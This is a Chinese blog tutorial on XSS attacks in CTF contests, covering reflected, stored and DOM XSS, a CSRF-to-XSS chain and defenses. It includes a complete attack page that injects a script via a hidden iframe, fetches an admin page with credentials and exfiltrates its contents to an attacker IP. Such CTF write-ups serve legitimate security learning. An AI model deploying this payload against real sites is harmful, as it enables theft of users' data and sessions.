CTF 中的 XSS 攻击:原理、技巧与实战案例
跨站脚本攻击(Cross-Site Scripting,简称 XSS)是一种常见的 Web 漏洞,利用该漏洞,攻击者可以在受害者浏览器中注入并执行恶意脚本。在 CTF(Capture The Flag)竞赛中,XSS 攻击不仅是一种考察 Web 安全基础的攻击技术,同时也是非常实用的进阶手段,可以用来窃取敏感信息、绕过访问控制或结合 CSRF(跨站请求伪造)实现更复杂的链式攻击。
本文将介绍 XSS 攻击的基本原理、常见类型、如何在 CTF 中利用 XSS 攻击,以及防御措施。
一、XSS 攻击基本原理
1. 什么是 XSS?
XSS 攻击指的是攻击者通过在 Web 页面中注入恶意 JavaScript 代码,使得这些代码在其他用户的浏览器中执行。通过这种方式,攻击者可以篡改页面内容、窃取用户 Cookie、劫持用户会话,甚至对用户进行钓鱼攻击。
2. XSS 的类型
- 反射型 XSS(Reflected XSS):
攻击者将恶意脚本嵌入到请求中,目标服务器将其反射到响应中。例如,通过 URL 参数传入恶意代码,目标页面在渲染时执行了该代码。 - 存储型 XSS(Stored XSS):
恶意代码被永久存储在服务器上(例如数据库、留言板),当其他用户访问包含该内容的页面时,恶意代码被执行。 - DOM 型 XSS:
恶意代码完全在客户端执行,通过修改页面的 DOM 结构,攻击者利用 JavaScript 动态修改页面内容,从而引发 XSS 漏洞。
二、CTF 中的 XSS 攻击
在 CTF 中,XSS 攻击通常不是为了破坏 Web 应用,而是为了获得 flag。CTF 赛题往往会设置一些特定的场景,例如存储型 XSS、反射型 XSS 或利用 CSRF 触发 XSS 链,以考察参赛者对 Web 漏洞利用链的理解和实践能力。
1. 反射型 XSS 示例
在反射型 XSS 题目中,用户提交的输入(例如 URL 参数、表单数据)被直接反射到页面中。如果输入没有经过充分过滤,攻击者可以构造如下 URL:
http://example.com/search?query=<script>alert('XSS')</script>
当其他用户点击该链接时,浏览器就会执行 alert('XSS')。在 CTF 中,这种简单的 payload 常用于证明漏洞存在。
2. 存储型 XSS 示例
存储型 XSS 攻击中,攻击者提交的数据被存储在服务器上。当其他用户(例如管理员或特定用户)访问含有该数据的页面时,恶意代码会被执行。例如,攻击者在论坛留言中提交:
<script>alert('PWNED');</script>
当管理员查看留言时,浏览器执行这段代码,攻击者可以利用此漏洞进一步窃取管理员信息或执行其他操作。
3. CSRF 与 XSS 的结合
CTF 题目中,有时会将 CSRF 与 XSS 攻击结合起来,形成攻击链。例如:
- 利用 CSRF 诱使管理员访问一个恶意页面(由攻击者控制)。
- 恶意页面通过反射型 XSS 载荷,让管理员的浏览器执行 JavaScript 代码。
- 利用 JavaScript 内部的 fetch() 请求获取管理员专属的页面内容(例如包含 flag 的页面)。
- 最终将页面内容通过 exfiltration(数据外泄)的方式发送到攻击者服务器。
这种 CSRF→XSS 链可以绕过 HttpOnly cookie 限制,因为一旦脚本在管理员浏览器中执行,它就能读取同源下的所有页面内容。
三、实战案例
下面是一段示例代码,展示如何利用 CSRF-to-XSS 链来获取 flag。假设目标应用使用 Flask 开发,管理员的 flag 隐藏在一个草稿帖子中,只有在发布后才能完整显示,而管理员默认不会发布草稿。
攻击思路如下:
- 利用 CSRF 让管理员的浏览器访问一个恶意页面(由攻击者托管)。
- 恶意页面反射 XSS 负载,利用 fetch() 请求目标页面(例如首页
/),读取包含 flag 的 HTML 内容。 - 利用
new Image().src将获取到的数据以 GET 请求形式 exfiltrate 到攻击者服务器。
示例恶意页面代码:
<!DOCTYPE html>
<html>
<head><meta charset="UTF-8"><title>CSRF to XSS Attack: Publish Admin Draft</title>
</head>
<body><h1>Triggering CSRF-to-XSS Attack</h1><script>// Construct the XSS payload.// Dynamically construct the closing tag to avoid breaking the script.var payload = `<scr` + `ipt>// Use fetch() to retrieve the protected page (which now shows the full flag).fetch("http://challenge.localhost/", { credentials: "include" }).then(response => response.text()).then(data => {// Exfiltrate the data to the attacker's server.var exfilUrl = "http://10.17.108.216:8888/?flag=" + encodeURIComponent(data);new Image().src = exfilUrl;}).catch(error => console.error("Fetch error:", error));</scr` + `ipt>`;// URL-encode the payload.var encodedPayload = encodeURIComponent(payload);// Build the target URL using the /ephemeral endpoint, which reflects the msg parameter.var targetUrl = "http://challenge.localhost/ephemeral?msg=" + encodedPayload;// Create a hidden iframe to force admin's browser to load the target URL and execute the payload.var iframe = document.createElement("iframe");iframe.style.display = "none";iframe.src = targetUrl;document.body.appendChild(iframe);</script>
</body>
</html>
说明:
- 将
http://10.17.108.216:8888/替换为你攻击机的实际 IP 和监听端口。 - 当管理员(通过 victim 工具登录 admin)访问这个页面时,iframe 会加载
http://challenge.localhost/ephemeral?msg=...,反射出 XSS 负载。 - 执行后,fetch() 请求会获取到包含 flag 的页面内容,并通过 Image 对象将数据发送到攻击者服务器。
四、防御措施
-
输入过滤与输出编码:
对所有用户输入进行严格过滤,并在输出时进行适当编码,防止 HTML/JS 注入。 -
Content Security Policy (CSP):
实施 CSP 可有效限制内嵌脚本的执行,降低 XSS 攻击风险。 -
CSRF Token:
对敏感操作采用 CSRF token 机制,确保请求来自可信任的页面。 -
HttpOnly Cookies:
虽然 HttpOnly 可防止 JavaScript 直接访问 Cookie,但不能防止通过 XSS 进行间接的攻击(如 fetch() 读取页面内容)。
结论
XSS 攻击在 CTF 中非常常见,其形式多样,从简单的弹出框到复杂的 CSRF-to-XSS 链式攻击。通过学习和实践这些技巧,不仅可以提高你在 CTF 中的实战能力,也能加深对 Web 安全原理的理解。希望这篇博客能帮助你了解 XSS 攻击的各种方法及防御措施,并在 CTF 比赛中取得好成绩!
Happy hacking!
相关文章:
CTF 中的 XSS 攻击:原理、技巧与实战案例
跨站脚本攻击(Cross-Site Scripting,简称 XSS)是一种常见的 Web 漏洞,利用该漏洞,攻击者可以在受害者浏览器中注入并执行恶意脚本。在 CTF(Capture The Flag)竞赛中,XSS 攻击不仅是一…...
LeetCode hot 100—二叉树的最大深度
题目 给定一个二叉树 root ,返回其最大深度。 二叉树的 最大深度 是指从根节点到最远叶子节点的最长路径上的节点数。 示例 示例 1: 输入:root [3,9,20,null,null,15,7] 输出:3示例 2: 输入:root [1,n…...
.h264/.h265文件 前端直接播放
由于接收摄像头 告警视频,需要前端直接播放,不想后端转码后传输。 摄像头 判断到告警后往服务器上报 .h264 /.h265 视频文件。 解决方式:html5直接采用 ffmpeg 进行转码 ,然后塞入 video标签,进行播放 目前改动ffmp…...
【单片机通信技术】串口通信的几种方式与比较,详细解释SPI通信
一、介绍 串口通信是一种通过串行接口逐位传输数据的通信方式,广泛应用于嵌入式系统、工业控制、传感器网络等领域。 二、以下是几种常见的串口通信方式及其对比: 1.UART(Universal Asynchronous Receiver/Transmitter) 特点&am…...
PDF转JPG(并去除多余的白边)
首先,手动下载一个软件(poppler for Windows),下载地址:https://github.com/oschwartz10612/poppler-windows/releases/tag/v24.08.0-0 否则会出现以下错误: PDFInfoNotInstalledError: Unable to get pag…...
题目 3217 ⭐成绩统计⭐【滑动窗口 + 二分搜索】蓝桥杯2024年第十五届省赛
小蓝的班上有 n n n 个人,一次考试之后小蓝想统计同学们的成绩,第 i 名同学的成绩为 a i a_i ai 。当小蓝统计完前 x x x 名同学的成绩后,他可以从 1 ∼ x 1 ∼ x 1∼x 中选出任意 k k k 名同学的成绩,计算出这 k k k 个成…...
URL中的特殊字符与web安全
在现代Web应用中,URL作为客户端与服务器之间的通信桥梁,承载着大量的重要信息。URL中的特殊字符,看似只是一些常见的符号,但在Web安全领域,它们与其他安全知识密切相关,如在Base64编码、SQL注入,…...
八卡5090服务器首发亮相!
AI 人工智能领域热度居高不下。OpenAI 的 GPT - 4 凭强悍语言处理能力,在内容创作、智能客服等领域广泛应用。清华大学团队的 DeepSeek 大模型在深度学习训练优势突出,正促使各行业应用端算力需求向推理主导转变,呈爆发式增长 。 随着 DeepS…...
esp32驱动带字库芯片TFT屏幕
前言 学习esp32单片机开发,前段时间在网上买了一块2.0寸TFT屏幕。 长这个样子,这个屏幕带汉字字库的硬件模块。我仔细看了一下这个字库模块上面写的字是25Q32FVSIG 1336 文档 卖家也发来了开发文档,是个doc文档,张这个样子。 开…...
为AI聊天工具添加一个知识系统 之138 设计重审 之2 文章学 引言之2 附加符号学附属诠释学附随工程学(联系)
本文要点 要点 符号学大局观: 诠释学(当代 加成[0]:“预期”和“预设” 两者的 不期而遇 。“邂逅”) 我们在文章学工具设计中 以全局观考虑:嵌入编程工具的逻辑性底( 哲学诠释 下确界) 并…...
java环境部署
java环境部署 一、准备工作 jrejdkeclipse jdk下载:21和1.8-----官网:Oracle:Java 下载 |神谕 该处选择要依据自身的系统类型选择下载 idea的下载安装:IntelliJ IDEA | Other Versions 二、安装 三、环境配置 四、使用 五、i…...
正点原子[第三期]Arm(iMX6U)Linux移植学习笔记-2.1 uboot简介
前言: 本文是根据哔哩哔哩网站上“Arm(iMX6U)Linux系统移植和根文件系统构键篇”视频的学习笔记,在这里会记录下正点原子 I.MX6ULL 开发板的配套视频教程所作的实验和学习笔记内容。本文大量引用了正点原子教学视频和链接中的内容。 引用: …...
CentOS 7.9 安装 ClickHouse 文档
1. 环境准备 确保系统为 CentOS 7.9,并已安装 Docker。如果未安装 Docker,请先安装 Docker。 安装 Docker # 卸载旧版本 Docker(如果有) sudo yum remove -y docker docker-client docker-client-latest docker-common docker-…...
高考數學。。。
2024上 具体来说,直线的参数方程可以写为: x1t y−t z1t 二、简答题(本大题共5小题,每小题7分,共35分。) 12.数学学习评价不仅要关注结果评价,也要关注过程评价。简要说明过程评价应关注哪几个方面。…...
使用GitLink个人建站服务部署Allure在线测试报告
更多技术文章,访问软件测试社区 文章目录 🚀前言🔑开通GitLink个人建站服务1. 前提条件2. 登录GitLink平台(https://www.gitlink.org.cn/login)3. 进入设置>个人建站>我的站点4. 新建站点5. 去仓部进行部署6. 安…...
Linux 上离线安装 python3
在Linux系统上进行离线安装 Python3,通常是因为目标机器没有网络连接。以下是一个通用的步骤指南,帮助你在这种情况下成功安装Python 3: 下载安装包 选择一台有网络连接的机器:这台机器的操作系统应该尽可能与目标机器相同或相似…...
js操作字符串的常用方法
1. 查找和截取 1.1 indexOf 作用:查找子字符串在字符串中首次出现的位置。 是否改变原字符串:不会改变原字符串。 返回值:如果找到子字符串,返回其起始索引(从 0 开始);如果未…...
自动化学习-使用git进行版本管理
目录 一、为什么要学习git 二、git是什么 三、git如何使用 1、git的下载安装和配置 2、git常用的命令 3、gitee远程仓库的使用 (1)注册 (2)创建仓库 (3)配置公钥(建立电脑和git…...
GCC RISCV 后端 -- GCC Passes 注释
在前面文章提到,当GCC 前端完成对C源代码解析完成后,就会使用 处理过程(Passes)机制,通过一系列的处理过程,将 GENERIC IR 表示的C程序 转步转换成 目标机器的汇编语言。过程描述如下图所示: 此…...
Ollama存在安全风险的情况通报及解决方案
据清华大学网络空间测绘联合研究中心分析,开源跨平台大模型工具Ollama默认配置存在未授权访问与模型窃取等安全隐患。鉴于目前DeepSeek等大模型的研究部署和应用非常广泛,多数用户使用Ollama私有化部署且未修改默认配置,存在数据泄露、算力盗…...
智慧医疗能源事业线深度画像分析(上)
引言 医疗行业作为现代社会的关键基础设施,其能源消耗与环境影响正日益受到关注。随着全球"双碳"目标的推进和可持续发展理念的深入,智慧医疗能源事业线应运而生,致力于通过创新技术与管理方案,重构医疗领域的能源使用模式。这一事业线融合了能源管理、可持续发…...
Appium+python自动化(十六)- ADB命令
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利,如安装和调试…...
智慧工地云平台源码,基于微服务架构+Java+Spring Cloud +UniApp +MySql
智慧工地管理云平台系统,智慧工地全套源码,java版智慧工地源码,支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求,提供“平台网络终端”的整体解决方案,提供劳务管理、视频管理、智能监测、绿色施工、安全管…...
在HarmonyOS ArkTS ArkUI-X 5.0及以上版本中,手势开发全攻略:
在 HarmonyOS 应用开发中,手势交互是连接用户与设备的核心纽带。ArkTS 框架提供了丰富的手势处理能力,既支持点击、长按、拖拽等基础单一手势的精细控制,也能通过多种绑定策略解决父子组件的手势竞争问题。本文将结合官方开发文档,…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...
力扣-35.搜索插入位置
题目描述 给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。 请必须使用时间复杂度为 O(log n) 的算法。 class Solution {public int searchInsert(int[] nums, …...
宇树科技,改名了!
提到国内具身智能和机器人领域的代表企业,那宇树科技(Unitree)必须名列其榜。 最近,宇树科技的一项新变动消息在业界引发了不少关注和讨论,即: 宇树向其合作伙伴发布了一封公司名称变更函称,因…...
NPOI操作EXCEL文件 ——CAD C# 二次开发
缺点:dll.版本容易加载错误。CAD加载插件时,没有加载所有类库。插件运行过程中用到某个类库,会从CAD的安装目录找,找不到就报错了。 【方案2】让CAD在加载过程中把类库加载到内存 【方案3】是发现缺少了哪个库,就用插件程序加载进…...
MyBatis中关于缓存的理解
MyBatis缓存 MyBatis系统当中默认定义两级缓存:一级缓存、二级缓存 默认情况下,只有一级缓存开启(sqlSession级别的缓存)二级缓存需要手动开启配置,需要局域namespace级别的缓存 一级缓存(本地缓存&#…...
WEB3全栈开发——面试专业技能点P4数据库
一、mysql2 原生驱动及其连接机制 概念介绍 mysql2 是 Node.js 环境中广泛使用的 MySQL 客户端库,基于 mysql 库改进而来,具有更好的性能、Promise 支持、流式查询、二进制数据处理能力等。 主要特点: 支持 Promise / async-await…...
